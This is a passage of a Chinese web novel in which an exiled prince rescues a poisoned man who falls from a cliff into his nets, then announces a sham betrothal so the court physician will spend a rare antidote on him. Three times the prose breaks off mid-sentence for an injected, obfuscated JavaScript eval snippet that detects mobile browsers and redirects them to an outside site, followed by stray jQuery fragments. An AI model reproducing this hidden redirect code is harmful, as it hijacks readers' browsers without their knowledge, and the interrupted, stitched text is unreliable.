这是一头跛了脚的马,即便表面看起来再壮实,也注定不能带着他的主人驰骋。
但应青炀却待它极好,甚至会在黑影身上花费一些自己的口粮,被姜太傅数落净做些无用功。
要是知道他把麦芽糖这种珍贵的东西喂给这匹残疾的马,姜太傅估计又要教训他。
应青炀可不想听唠叨,他蹑手蹑脚地出了窝棚,和黑影小声告别,没想到一转身,就碰见了送小毛驴回窝棚的姜太傅。
遭了!忘记姜太傅也很宝贝他那头小毛驴了!
姜允之:“?”
应青炀:“!”
他眼疾手快,立刻把背上的弓箭藏了藏,向边上一滑步,就这么迈开步子往村外跑。
姜允之一看他落荒而逃的方向就知道这人要去哪。
“雪层都那么厚了!还要去折腾你那破网子!能有用才怪了!”
应青炀扬了扬手,道:“那可说不准——万一要是天上掉了金子,我不就赚大发了吗?”
只听姜太傅又在身后不知道数落着什么,应青炀已然跑远了一段距离,只听到诸如“春秋大梦”“不切实际”云云。
为了避免被其他旧臣抓住说教,劝他不要做冒险的事,应青炀进山都走小路。
他在山里有个秘密基地,路线也只有他自己知道,是以一个人的路程非常惬意。
从一片松树林进入,踩着厚厚的雪层,树叶与积雪咯吱作响,在静谧的群山间,是他的唯一伴侣。
应青炀边走边低头在地上寻找松果,大部分都炸开了花,果实已在入冬前就被捡拾干净,偶尔有一两个漏网之鱼,能算作意外之喜。
应青炀顺手捡了些炸开的松果,抱了满怀。
越过松树林爬上一小片高地,视野变得稍微开阔起来,随之映入眼帘的是一座座简陋的石碑,约莫几十座。
石碑无名无姓,仅有生卒年月,雕刻出的字迹用最次等的颜料涂抹,即便风霜雨雪不断,仍然保持着干净整洁的姿态。
黄昏下,应青炀眉眼温柔,捧着的松果被他挨个放置坟冢前,这是冬日里仅有凭吊和慰藉。
他仿佛唠家常一般嘟囔:“叔叔、姨姨、大爷、大娘,最近也只有这些了。”
旦夕祸福,生老病死,荒山的坟冢多了一座又一座,临终前那句“复辟”,应青炀已听了无数次。
今天他也有努力活过一天。
4. 琼山坠梦
如今大雪连绵不绝,应青炀估摸着这是今年最后一次来扫墓。
启程前往秘密基地之前,他回身看了一眼这一片坟冢。
若是与前朝皇室毫无瓜葛,他们本可以正大光明地活在阳光下,可以魂归故里,被亲朋好友时刻惦念、祭拜。
而非在这荒山里,愤恨不甘地死去、无人知晓地长眠。
*
应青炀沿着羊肠小路向上,极有技巧地分辨出容易滑坡的位置,小心地避开,看起来已经是个进山打猎的好手了。
琼山一带最厉害的猎户都未必有这么一手老练的本事。
越往深处走,树木愈发高大,盘根错节的老树一排排伫立,枝桠向外延伸,偶尔有雪堆从枝头砸下来,在寂静的山林里分外明显。
深林里的老树模样都很相似,再熟悉地形的猎人,进来也容易迷失方向。
应青炀早早在沿途的树干上做了标记,沿着标记一路向前就能到达目的地。
但他的秘密基地也很好认,隔着很远向前望去,就能看到一片十分奇异的景致。
只见前方的高树之间,麻绳编织成的巨大细网悬挂在半空,网的四角连在树干上,缠了几圈打了死结以作加固。
巨网一层叠着一层,从树干上人力所能到达的高处,到距离地面半尺的距离,约莫二十几张,以花瓣绽开的形状布局延展,看起来非常壮观。
从巨网边上向上望去,才能发现这里其实是另一座高山的底部,盘山道从另一侧蜿蜒向上,在最高处的拐点,是岩石被横刀劈断一般垂直的悬崖,分外陡峭险峻。
这山崖底下的层层麻绳巨网,是应青炀花了很长的时间,耗费很多私房钱,才自己搭完的缓冲装置。
而这样的布置还不止一处,沿着这处断崖,约莫有七八处。
应青炀动作灵巧地攀上了一棵高树,向巨网中间眺望,并没有发现有下塌的弧度,看起来没有东西坠落在上面。
“今天也没有吗……”他有些失望地喃喃自语。
应青炀为什么在这里费力做这些事,当然是有原因的。
进山之前应青炀喂的那只瘸腿马黑影,就是从这里捡回去的宝贝。
黑影原本是一匹战马,应青炀捡到它的时候,它身上还有精良的鞍鞯,蹄铁看上去也是精心制作,品相也十分出挑,一看就不像是小地方的马场能养出来的。
黑影这种高规格的战马,也是不会出现在寻常人家的,大梁在这方面的管控极为严苛,为了避免底下的人养私兵,再把大梁推回到当初各方割据的状态里。
大概是因为太上皇就是从北境起兵,见识过胡人的骑兵有多凶悍,所以在自己训练出一队南征北战的边疆军骑兵营之后,也会忌惮有人效仿。
应青炀当时就猜到,黑影大概是朝廷的车队里出来的。
琼州这个地方本就是穷山恶水,到了边境地带民风更是剽悍,琼山一带时常有人落草为寇,气焰嚣张的时候,甚至连大梁朝廷运送军粮的车队都敢劫。
黑影估摸着也是受了迫害,从行军的队伍里脱离出来的,战马受惊逃窜的事情并不罕见,只不过不少骑兵会用哨子将马匹唤回。
显然这只马并没有,应青炀猜测它的前任主人很可能也已经在暴动中殒命。
黑影离开大部队之后不知道怎么进了山,徘徊奔走,又在悬崖边上失足坠落。
战马壮实,从悬崖坠落的时间又是夏季,老树茂密的枝叶成为了最好的天然缓冲带,以至于战马跌落崖底时还有气。
应青炀倒是看过许多兽医方向的书籍,可惜空有理论知识,实践是半点没有,他草草给黑影做了包扎,满心可惜地将战马拖回山下后,才发现这家伙还顽强地活着。
他喂养了几天,战马的情况慢慢转好,只不过摔断的后腿错过了最佳的治疗时间,留下了跛脚的毛病。
应青炀喜欢马,尤其是战马,看起来威风凛凛,特别丰神俊逸。
或许这样形容马匹有些过火,但应青炀真是喜欢得有点入魔。
有了先例之后,就一直在想能不能再有同样的事情发生,所以才在这里精心布置了装置,并且尽量增加了巨网的层数,还在每层铺上了枯叶和杂草。
虽然知道希望渺茫,但应青炀还是这样做了,毕竟机会总是留给有准备的人。
缘分天降的时候可是不会管对错的。
按理说最近的雪灾如此严重,低温环境和被冰雪覆盖的官道,发生马匹受惊的概率应该加大了才对,但始终没有应青炀期待的惊喜发生。
“可惜了。”应青炀又嘟囔一句,挨个巡视自己的救援装置,没有一个有被动过的迹象。
应青炀歇了心思,想去前段时间打到野鹿的地方碰碰运气。
拍了拍身上的落雪,他正欲转身离开,却听上方突然传来一阵奇怪的声响,大块的落雪掉落下来,紧接着是一阵破空声。
应青炀抬眸向上望去,只见一个黑点在视野里迅速放大,然后是翻飞的白色衣袍,一直到和第一层巨网接触被稍稍缓冲一刻,他才看得真切,随即瞳孔骤然紧缩。
原因无他,那竟是个人!——一个穿着月白色衣袍,长发凌乱翻飞,无知无觉也毫无反应坠落的人!
下一秒,那人坠落在巨网之上,层层向下,和树干的缠绕连接处被这股重量一一扯断,速度极快,荡起一片茫茫雪雾。
应青炀瞳孔骤然紧缩。
雪花在他眼前飞舞,视线朦胧迷幻,重物坠落在地,掀起的气流吹乱他额角的发丝,他却半点没有受惊,下意识地上前几步,看清了巨网中间,被麻绳包裹缠绕的人。
白衣凌乱,长发四散,皮肤苍白中透露出一股泛着死气的灰败,左边小腿有一部分不自然的扭曲。他衣襟敞开,从胸口向上赤裸,突起的喉结附近有一条树枝留下的刮伤,再往上,左边额头血肉模糊,鲜红的血液从颊侧滑落,衬得那姣好的容颜越发显出一种极为荒诞、濒死的美感。
倏忽间,应青炀听见自己的心跳声陡然变了调子。
这一刻,恰如谪仙入世,惊梦坠网。
*
约莫半天之前,江枕玉孤身一人策马进了琼山山脉。
他本不是琼山人,他生在江南,长在国都,这北境边疆,本与他极不相称,甚至格格不入。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960291|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只不过国都城破的那一天,他是唯一一个被救走的幸运儿,驻守琼州的叔父带他来了这里,随后的事情,史书工笔,说得清楚。
江枕玉不怎么喜欢回忆这段漫长的经历,即便那几乎占据他活过的一半人生。
历史总是由胜利者书写,江枕玉是那个执笔人,马车驶出国都之后,他便已经让中书令将属于自己的结局写在还未封卷的起居注里。
属于太上皇的车架进入北境,消失在茫茫十万大山中。
或生或死,皆无所谓。
而他此刻的这幅尊荣,也实在不像一个手掌大权的帝王。
他长发凌乱,形容凄惨,肩膀一道箭伤,最外边的白色锦袍上血迹斑斑,他被那黏腻的触感所扰,索性一解衣带,将脏了的衣袍丢弃在路边。
单薄的里衣顷刻间便被寒风穿透,冷意直往骨血里窜。
从伤口浸入的毒素让他有些顿感,因而没有被隆冬的寒意阻碍脚步。
血腥味从顺着风雪飘来,他身后的那条盘山道上,倒着追杀而来的一小队死士。
弓箭的破空声惊了马,抢夺过来杀敌的长刀被他随手丢弃,仅靠双脚和逐渐扩散的毒素,想来他已经走不出这片群山。
求生是人的一种本能,显然,江枕玉也不例外。
从国都派来的这些死士没有他想象中的那么狠厉,仅有羽林卫一半的水准。
不出所料。
事情没有脱离他的掌控,他却并没有什么欣喜的情绪。
他观察了一下地形才决定了自己前进的方向,如果他没记错,从这片山崖顶部,能遥遥望见官道,以及远方尽头的琼山镇。
江枕玉没在雪地中跋涉多久,便觉得视线模糊,估摸着毒素已然迫近肺腑。
但他脚步未停,甚至有种如释重负的轻快,他甚少有这种不需要仔细思考的时候。
离开国都之前,唯二知道他计划的两人都表达了强烈的反对,福海甚至在大雪里长跪不起,双手生了冻疮也执意想求他收回成命。
毕竟孤身犯险这种事,不是一位帝王该做的。
但是何必。
江枕玉这样想。
这世界上没有一个人的存在是必不可少的,帝王将相、贵族官宦、平民百姓,每个人都是时代里一个渺小的砂砾,只能被命运的洪流裹挟。
他从来都不是例外。
江枕玉漫无目的地向前走,眼前模糊一片,只有大片贴合在一起的色块。
大概是毒药的作用,他脑子里一会儿想到国都的局势,一会儿想到肆虐的雪灾,一会儿想到臣下激烈的质问……
不知道多久之后,江枕玉觉得耳边的声音逐渐变大,随后脚下一空,身体像断了线的风筝一般坠落。
然而死亡没有像他预想中那样袭来,浑身犹如被鞭挞一般的钝痛,十足的酷刑,但头部的撞击让他无法清晰分辨自己的处境,很快便陷入了沉眠之中。
丧失意识之前,他听见靠近的脚步声,以及焦急的询问声:“喂,醒醒!听得到我说话吗?别睡!”
或许是本能,江枕玉极力挥开了伸过来的手。
……放肆。
5. 生来反骨
应青炀哪想到一语成谶,临走前在太傅嘟囔的几句玩笑话,现在似乎成了真。
这种荒山野地里居然也能真的让他捡到一个大活人。
这坠落在巨网上的人看起来已经有气出没气进,寒冬里穿得这样单薄,皮肤和肌肉都十分僵硬,那带着不详的灰败笼罩着全身,嘴唇还泛着点青紫,倒像是中了毒。
要不是血液从他的伤口处蔓延开来,应青炀估计会觉得这人已经死了。
应青炀同情心迅速泛滥。
他盯着男人俊美的脸看了两秒,当即决定救人。
和这人长什么样子没关系。关键是救人一命胜造七级浮屠,哪有见死不救的道理。
他深一脚浅一脚地踩着麻绳上前,不由得夸赞自己,这巨网做得真够结实柔软,否则这人早没命了。
应青炀好不容易在这个濒死的男人面前蹲下身,伸手探他的鼻息。
——还有气!
也不知道这人是以什么样的姿势摔下来的,除了额头上的伤口,整张脸几乎没什么伤痕,俊美的五官清晰可见。
应青炀目光在对方的脸上游移片刻,似是在打量,随后又立即撇开视线,觉得自己这番行径多少有点趁人之危。
咳。
这么一个长相出挑的人,不是什么谪仙,也应当是世家子弟,救他一命肯定不亏。
这不就是之前说的,网到金子了吗!
虽说他们这些前朝人士,一直在避免和外面的人接触,新朝初立十年,但凡上了点年纪的人都经历过前朝末年以及多方割据、民不聊生的混乱时代。
他救一个来历不明的陌生人回去多少有些危险。
但这人目前的情况,要么是被人暗算推落山崖像治他于死地,要么是自己了无生机一心求死。
应青炀压根就没想过会不会有隐藏身份卧底的打算,他们这破地方算那根葱,值得人冒着生命危险前来卧底。
况且这么一张脸,实在让人一见就生出点怜悯之心,一看就是人品贵重的君子。
不会对他们这些苟活于世的人有什么威胁。
和这人这张天仙似的脸也没有半点关系。
——绝对没有。
应青炀轻而易举地说服了自己。
“喂,醒醒!听得到我说话吗?别睡!”
应青炀有些焦急,他把自己外边的袄子脱下来给对方盖上,试图维持住体温。
这种气温下,体温快速流失,这样下去对方本来就微弱的呼吸和心跳很快就会停止。
不幸中的万幸大概是,这种状态也延缓了对方体内的毒素蔓延,真的到了回天乏术的时候,估摸着流出来的血都要红到发黑了。
应青炀刚刚盖好袄子,却没想到这人还残存着一点意识,抬手挥开了他的手。
被拍开的应青炀顿时一愣。
明明这人一句话都没说,应青炀却偏偏感受到了一种推据,一种毫不留恋人世间的冷漠。
他盯着那张毫无生气、被死亡的阴影笼罩的脸庞,心里却霎时一股无名火起,方才心里的几番念头全在这一瞬间炸成烟花抛在脑后。
真以为他爱救人?他可不是什么菩萨一样的大善人,说他是大恶人还差不多。
火气上头,他那点天生的反骨又上来了,他开始小声嘟囔:“你说不救就不救?我发现的人,自然是我说了算!”
“你现在手无缚鸡之力,还不是得任我为所欲为。”
“你死什么死,回去治好了还要赔我那些网呢!”
“和你说话呢!别睡!听见了吗!”
应青炀都算不清自己准备那些网花了多少铜板,这么多年累计起来,总归是一笔很大的开销,记到账本上会让他肉痛
所以他从来都不会做这种费力不讨好的事情。
什么事情想做就做了,当下快乐就好,何必事后纠结,再来找自己的麻烦,那不是自己为难自己吗。
退一步来说,这人现在欠了他的债,让这债主在这里死了,那他找谁还钱!
即便嘴上说得愤恨,应青炀动作间却很轻柔,生怕手劲儿一大,就把这快要融入冰雪中的人弄碎了。
这具快要腐朽的残躯,估计已经受不得半点折腾。
这处山崖远离官道,难以想象这人是怎么拖着这样的身体走到这里,又跌落在应青炀面前。
应青炀粗略给这人把了脉,检查了一下外伤。
他和村子里的前朝太医学过一点医术。
不过他这人一向如此,什么事情都三分钟热度,什么技能都想学一学,但都学不精,全是半吊子。
这会儿也只能判断出这人毒入肺腑,气血不足,身上外伤颇多,一时间让他有些无法下手。
天寒地冻的,面对这样棘手的情况,应青炀硬生生出了点冷汗。
应青炀到四周找了几块表面光滑的木头,把这人的伤腿简单地固定了一下。
随后扔了平日里十分爱惜的弓箭和箭筒,尽量避开对方的外伤,把人小心翼翼地背到背上。
瞬间笼罩在脊背上的重量却让他有些惊讶。
方才他打量过,这人身量起码也有九尺,比寻常的成年男子还要略高些,体重却有些轻得有些过分。
应青炀用地上崩开散落的麻绳把这人固定在自己背上。
外伤事小,万一他背着这人一个脱力,两人一起从山路上滚下去,那可真就要一尸两命了。
准备妥当之后,应青炀运了运气,心底庆幸他每日不思听学,虽也不爱学武,但日日进山,还是练了一副好体格。
下山的时候应青炀不能原路返回,那段崎岖的山路他一个人走走还行,此时背了个濒死的人,再走就是单纯送死。
应青炀选了一条较为平稳的山路,因为把袄子给男人穿着,前一段路他因为寒冷走得有些僵硬。
半刻钟后便好了不少,身体因为运动而微微发热。
的确是感觉不到冷了,但这条山路会教训每一个嘴硬的人。
走到半程时应青炀就感受到了疲惫感。
应青炀头一次有些后悔,自己把秘密基地选在了这么高的地方,以至于这段下山的路如此漫长。
而背上的男人无知无觉,头埋在他颈间,微弱的呼吸让他偶尔怀疑对方是不是真的还活着。
苍茫一色的白,万籁俱寂里,只有应青炀自己的脚步声。
他没由来的有些心慌,于是有些不管不顾,边走边和自己背上唯一的同伴聊天。
“你倒是轻松了,眼睛一闭就把事情都交给我解决。”
应青炀险险避开一块凸起的岩石。
“你跳下来的时候有没有想过别人的死活?”
应
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960292|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
青炀被突然蹿出来的松鼠吓了一跳。
“你吃什么长大的,个子长这么高,你说你这腿要是少一节,是不是还能轻上十几斤?”
应青炀越走越觉得自己的怨气比鬼重。
“兄弟……记得赔我钱啊……”
来时飞檐走壁,一个人无拘无束脚步轻快。
走时步履蹒跚,背着个快要断气的人差点倒在雪中。
到山脚的时候应青炀累得快要断气,看到村里那一抹炊烟,顿时热泪盈眶。
他“呼哧呼哧”地喘着气,像是快累死的野狗,在村口有些崩溃、但仍旧控制着音量地喊了一句:“阿墨——!!!”
小山一样健壮的青年正接替风叔雷叔的位置在偏院劈柴,他天生耳力异于常人,此刻眉梢微动,确认了是自家公子的声音,立刻把手里的斧子一扔,脚步极快地走了出去。
阿墨看见背着个人的应青炀时,对方已然紧锁眉头、大汗淋漓,见到他的第一眼就语速极快地叮嘱:“叫孙大夫来主屋,避开其他人,再拿两床厚被子,烧些热水,快去!!!”
阿墨本想接替自家公子背人,毕竟自家公子一看就累得不轻。
但应青炀知道背上的人经不得折腾,索性准备救人救到底,一口气把人偷运回主屋去。
阿墨应了一声,转了方向又往孙大夫的住处去了。
应青炀把人背到了主屋,安置在他的榻上。
他伸手探了下男人的鼻息,指尖轻微的温热刺得他冻僵的手指有些发麻。
应青炀都不由得感慨这人实在是命硬。
他迅速矮身蹲下,打开地下的一个暗格,从里面拿出一个小瓷瓶。
这时他才发觉自己的手有些颤抖,蹙着眉把瓷瓶倒过来,仅剩的一颗黑色药丸掉进他的掌心。
应青炀附身捏住男人的下颚,触手已经感觉不到冷意,他把药丸强硬塞进男人嘴里。
药丸不大,滑进唇舌间,引起的异物感却让濒死的人有了反应。
应青炀当机立断捂住男人的口鼻。
空气逐渐稀薄,男人胸腔猛地起伏,喉结微微滚动,猝不及防便把药丸吞了下去。
应青炀下手快,放得更快,只听见男人极其细微地咳了两声,他心里莫名的心虚感再度浮了上来。
时间已至傍晚,夕阳的光晕透过小小的一扇窗子落进屋内,轻洒在男人身上,将他面上的死气一扫而空。
好像这人终于从鬼门关边上,回到人世间徘徊。
应青炀全程紧张提着的一颗心终于稍稍回落,然而人一旦放松下来,积累的疲劳就会瞬间上涌。
他骤然双膝一弯,“扑通”一声跪在了榻边。
阿墨恰巧在这时推门走进来,见到应青炀这幅样子,好悬没把手里的一小盆热水给摔地上。
跟在后面的孙大夫第一眼都没看到榻上的人,被应青炀这惊天动地的一跪吓得魂都飞了。
“哎呦我的殿下,这是伤到哪了这么严重——这万一要是出个好歹,以后再某大事可要吃亏了啊——”
应青炀一挥手,“没事,小事,就是肾上腺素有点不听使唤了,我肯定要好好教教它谁才是身体的主人……”
应青炀咬牙切齿、面皮抽搐着说了一通。
阿墨蹙眉:“孙大夫,少爷又开始说胡话了,先给少爷看看吧!”
6. 明媒正娶
孙大夫快步走到近前,抓向应青炀的手腕就要给他把脉。
应青炀猛地一缩手,撑着榻边艰难地站了起来。
“人命关天啊!!先看他!!”
孙大夫年近古稀,腿脚不太利索,眼神也不大好用,方才也只能看到应青炀跪下的动作,根本没注意其他的。
此刻经应青炀一提醒,才发现殿下榻上还有个生死不知的人。
听见小殿下中气十足的吼声,便知道并无大碍。
他摸了摸花白的胡子,也不急了,施施然在榻边坐下,伸手漫不经心地捉住那人的一截腕子,动作随意地搭脉。
孙大夫是大应皇宫里跟出来的太医,医术出神入化,有时候不需要搭脉就能一眼看出人的病症来。
这几年眼神不太好了,便只能返璞归真。
这些年荒山里众人的大病小灾都是他治好的。
只不过这人脾气不太好,不太愿意给应青炀之外的人诊病。
应青炀看得倒吸一口冷气,他好不容易把人背回来,别被孙大夫给扯断气了。
“轻点!轻点!”
孙大夫摇摇头,语气慢悠悠的,“殿下莫急,老夫的医术殿下你是知道的,当年你出生后就被确诊是个痴儿,全靠老夫给你治好……”
应青炀点头应声,直夸孙大夫厉害。
孙大夫或者说孙太医,这辈子最值得称颂的事迹,就是把被无数名医确诊为痴儿的小皇子治好了。
因此经常把这件事挂在嘴边,并且居功自傲,觉得自己生来是要为皇室诊脉的,对其他人多少有些爱答不理。
应青炀起身去拿巾帕,用热水沾湿了准备
阿墨见状立刻道:“少爷,我来吧。”
应青炀摆了摆手,拒绝道:“免了吧,你那手劲儿,别把他天灵盖给按碎了。”
到时候一命呜呼,他这一遭的苦都白吃了。
阿墨眼神发直,似乎没听懂这句调侃,只知道自家公子不想他上手,于是退后两步呆立在一边,看起来有点手足无措的局促感。
应青炀只好招呼这呆子把他柜子里的棉被抱出来,好给榻上的男人盖上保暖。
他自己则用温热的巾帕给男人擦拭脸上的血迹和脏污。
刚擦了没两下,就听边上的孙大夫“嘶”的一声,随即摇摇头,“救不了,殿下,找个地方挖个坑埋了吧。”
应青炀原本没觉得有什么,这会儿听见这句话,差点手一抖,把巾帕整个糊到男人脸上。
“……您说笑呢吧?”
听到应青炀质疑他的医术,孙大夫轻哼一声,道:“这人不但有些陈珂顽疾,又寒气入体,加上多处外伤,最重要的是毒入肺腑,能留这口气到现在已经是命格极硬了……等到,毒素侵入心脉,必死无疑。”
孙大夫说着说着就有些感慨,“折腾成这样还不死,说不清是他幸运还是不幸啊。”
□□被病痛折磨,迟迟得不到解脱,这样的苟延残喘,多活一秒都是受罪。
应青炀在他的长篇大论里抓到了重点,“也就是说,只要能给他解毒,以您老人家的医术,肯定能给他治好吧?”
说这话时,他掌心一片湿濡,握紧了手里的巾帕。
孙大夫摇头晃脑,语气骄傲:“那是自然,也不看看老夫是谁,当年你……”
知道他又要絮叨陈年往事,应青炀连忙打断:“解毒丹肯定可以救他,药方需要您斟酌,库房里还有颗老参,先拿来吊命……”
最后半句,他是对边上放下棉被的阿墨说的。
孙大夫脸色顿时难看起来,“解毒丹这种珍贵的东西哪是能随便用的,那是专门留给皇室子弟保命用的,殿下您手里也就只剩下那么一颗而已。”
应青炀目光游移,想到了那颗早就被他硬喂下去的解毒丹,大脑前所未有地飞速运转,灵光一闪之后,他斩钉截铁道:“那我就娶他!现在就立婚书!”
“您和各位长辈不是一直埋怨我这个年级了还不娶妻……不是,纳妃吗?现在就纳!”
“我对他一见钟情、二见倾心、三见非卿不娶!山无棱,天地合,乃敢与君绝!三书六礼、明媒正娶!只要他是我的皇子妃,解毒丹不就能给他用了?”
一连串的话震得屋内的其余两人半天没有给出反应。
孙大夫显然被他这一连串惊天地、泣鬼神的表白给惊到了,平日里眯缝起来的小眼睛都瞪大了。
想他们小皇子从开蒙以来,就没说过这么一连串文绉绉的话,此刻居然为了一个不知道从哪捡回来的人,这般含情脉脉。
也不怪孙大夫讶异,应青炀十四五岁的时候,村里的人就张罗着给小殿下纳妾。
因着觉得不能草率定下大应未来的皇后,又不想委屈了小殿下,于是只说纳妾。
只是应青炀一直拒绝,理由就一个:丑。
拒绝了附近镇上好几个村花,哪怕有的对应青炀一见倾心,应青炀本人都如避蛇蝎。
应青炀当时只摇头晃脑地说,他此生只会明媒正娶一人,与他的妻子一生一世一双人。
没想到随便在外面捡了个人,就瞬间和神仙动了凡心一样,纳妃的话都说出来了。
还别说,孙大夫虽然老眼昏花,当刚刚瞥那一眼,的确看得出床榻上的是个美人。
只是身材似乎不怎么样……
而且他把脉的时候也能顺便摸骨,这人年纪似是也稍大了点。
孙大夫仍有些犹豫,觉得这将死之人实在不是殿下的良配,还要白白浪费一颗解毒丹,怎么想怎么不划算。
然而应青炀等得了,病榻上的人可等不了。
应青炀没给孙大夫思考的时间,舌灿莲花,开始忽悠:“解毒丹的事情先不提,您得先给他开个方子吊住命才有考虑的时间啊,您也不希望我不明不白地痛失所爱吧?您要是担心太傅那边有意见,没关系!我会去说的。”
话有些道理,“但……”孙大夫刚要说话,应青炀的劝说又从四面八方堵了上来。
“您想啊,您要是救了他,那以后的功绩就又多了一件,救了皇妃啊!您是皇子皇妃的救命恩人,说出去那多有面子!”
“可是……”
“还是您老的医术连个吊命的方子都开不出来?那不能够!”
“确实……”
“您要是可惜库房里那颗老参,等开了春,我带着他一起去山上捡去!挑大个的捡!肯定比现在这颗更大!更好!您老要多少都行,我肯定不说一个‘不’字!”
孙大夫的思路一路被应青炀带着走,到了这最后一句,不开方子的话已经说不出口了。
似乎,大概,确实,没有什么可以犹豫的地方。
“这方子嘛……就先用老参做主药,其余的……”他回头想招呼阿墨去把自己那装草药的大药箱拿来,就见阿墨已经提着自己的药箱子进来了,顶上还放着从库房里摸出来的那颗老参。
明显是应青炀提前给了这人指示。
孙大夫顿了一下,坚持地把方子说完,见阿墨已经翻了药箱把相对应的药材捡出来,那种不自然的感觉才反扑上来,“这……”
孙大夫心里那点被忽悠了的感觉还没上来,质疑的话也没说出口,就听那边的应青炀又开始长吁短叹。
“我的皇妃怎么这么命苦,腿还伤了,这以后要是跛了脚、不良于行,多丢我皇室的脸面。”
应青炀这辈子就没这么不要脸过,自认为王室子弟这种话,他从会开口说话时就从未说过,这一会儿的功夫把未来十几年的脸皮一股脑都扔了出去。
豁出去了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960293|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,反正没人知道。
趁着孙大夫还没有反应过来床榻上是个男人,先把方子套出来再说!兵贵神速,兵不厌诈,可不就是这个道理!
孙大夫被一句“皇室脸面”给震住了,没说话,只走上前来探了探男人腿部的伤,“不严重,只是需要及时正骨,她从山崖掉下来的?没摔断腿也真是命大。”
应青炀心说,那是,也不看看他布置那些巨网废了多少铜板,真金白玉地砸下去,总要能听到个响。
孙大夫语气略有些沉重,“不过老朽已经接近半瞎,正筋骨这种事没什么把握,殿下眼下恐怕只能自己动手了。”
应青炀顿时紧张得脊背绷直,当初他捡到黑影那天,孙大夫刚好出村问诊,他只能自己动手,结果看看现在黑影的后腿就可见一斑。
即便后来跟着孙大夫也看过几次正骨的动作,真到了自己要做的时候,实在是没什么把握。
别紧张,你看过那么多医书,只是失手了一次,这次绝对不会了。应青炀给自己打气。
但……万一此刻出了什么差错,这人就算能救活,也会留下跛脚的毛病。
应青炀非常清楚,和几千年后的未来不同,在这个时代,跛脚是个会伴随终生、十分严重的毛病,足以让一些心怀抱负的人见惯人情冷暖,甚至心生死志。
不良于行可是会影响生活,还会影响仕途。
在大应皇室规矩里,身有疾者甚至不可继位……
应青炀猛地摇了摇头,把脑子里杂七杂八的念头甩出去,做了几个深呼吸。
孙大夫的手放到应青炀的肩膀上,道:“别紧张,老朽给殿下把关,动作和力道稍慢些,一次不行就多几次。”
应青炀点点头。
他憋着一口气,从男人小腿弯处向下摸去。
他虽然紧张,但下手并不犹豫,快狠准,只听清脆的一声响,原本不自然扭曲的小腿已经恢复原状。
应青炀侧开半步,孙大夫沿着探下手去再度摸骨,连连点头,“不错。”
“要不是殿下有大业要图谋,老朽真有收殿下为徒的心思。”
应青炀没什么心情接这个话茬,满头冷汗地切了一片老参,压到男人舌根下。
防止这人在药还没煎好之前就一命呜呼了。
做完这一切,应青炀才如释重负,接着将棉被给对方盖上,又拿起巾帕给男人擦拭污迹。
孙大夫仍然忧心忡忡,“就算殿下真要纳她为妃,这解毒丹的事也要和太傅请示才行啊……”
应青炀没什么所谓地扬唇一笑,“您老人家放心,太傅一直希望我成家立业,怎么会不同意我的婚事呢?”
毕竟解毒丹早就进了这人肚子里,太傅同意不同意,也没有半点办法了。
先斩后奏这种事,他做得最习惯不过了。
孙大夫哪知道解毒丹已经没了,只一脸无奈地准备好药罐子给不知道能不能救活的太子妃煎药。
要他说啊,这就和当初救那畜生一样,没用!
折腾了一番,主屋内可算安静下来,一股药香缓缓蔓延开来。
阿墨端着水盆走出去,倒水的功夫,就看见几位被这边的动静吸引过来的长辈。
风叔和雷叔打头,看到那半盆血水脸色顿时难看,“殿下受伤了?!”
阿墨立刻摇了摇头。
几位长辈这才放心,又问:“那是怎么回事?又是叫孙太医又是进库房的,这么大动静。”
连孙大夫都被应青炀忽悠得找不到北,阿墨哪里能理得清现状呢。
他回忆片刻,只捡了些自己能理解的话说。
“公子捡回来个人。”
“公子说一见钟情。”
“公子要纳他为妃。”
长辈们:“啊???”
7. 皇室秘辛
应青炀当然不知道外面已经乱成了一锅粥。
他坐在床榻边上,双手无意识交握在一起,眼睛盯着男人泛着青紫的唇,他不知道那颗解毒丹是否真的能奏效。
大应皇室的秘宝,每位宗室子弟能得到一小瓶,传闻中能解百毒,是前朝不知道哪一年一个云游方士进献的药方。
应青炀没用过这东西,也没什么机会用,这会儿更没觉得可惜。
他脑子里还下意识回想看到男人的第一眼。
便忍不住开始思考这人究竟怎么会在冬日里,以这样一种模样坠落悬崖。
他天生脑子活泛,大概也是因为身体疲惫到了极点,这回儿天马行空的怪异思想在脑子里乱飞,上蹿下跳,东一个想法西一个想法。
就如同一开始的猜测的那样,要么被人所害,要么自己求死。
可是什么样的仇家能做到这种程度?又是下毒又是逼他穿着单薄走进风雪中。
然而就算应青炀再没见识,男人身上那件里衣的质感也不像是沦亡之人能穿的。
那便是他自己求死。
但应青炀想不明白。
他即便在最底层、最无人问津的地方,再艰难,也要畅快地活。
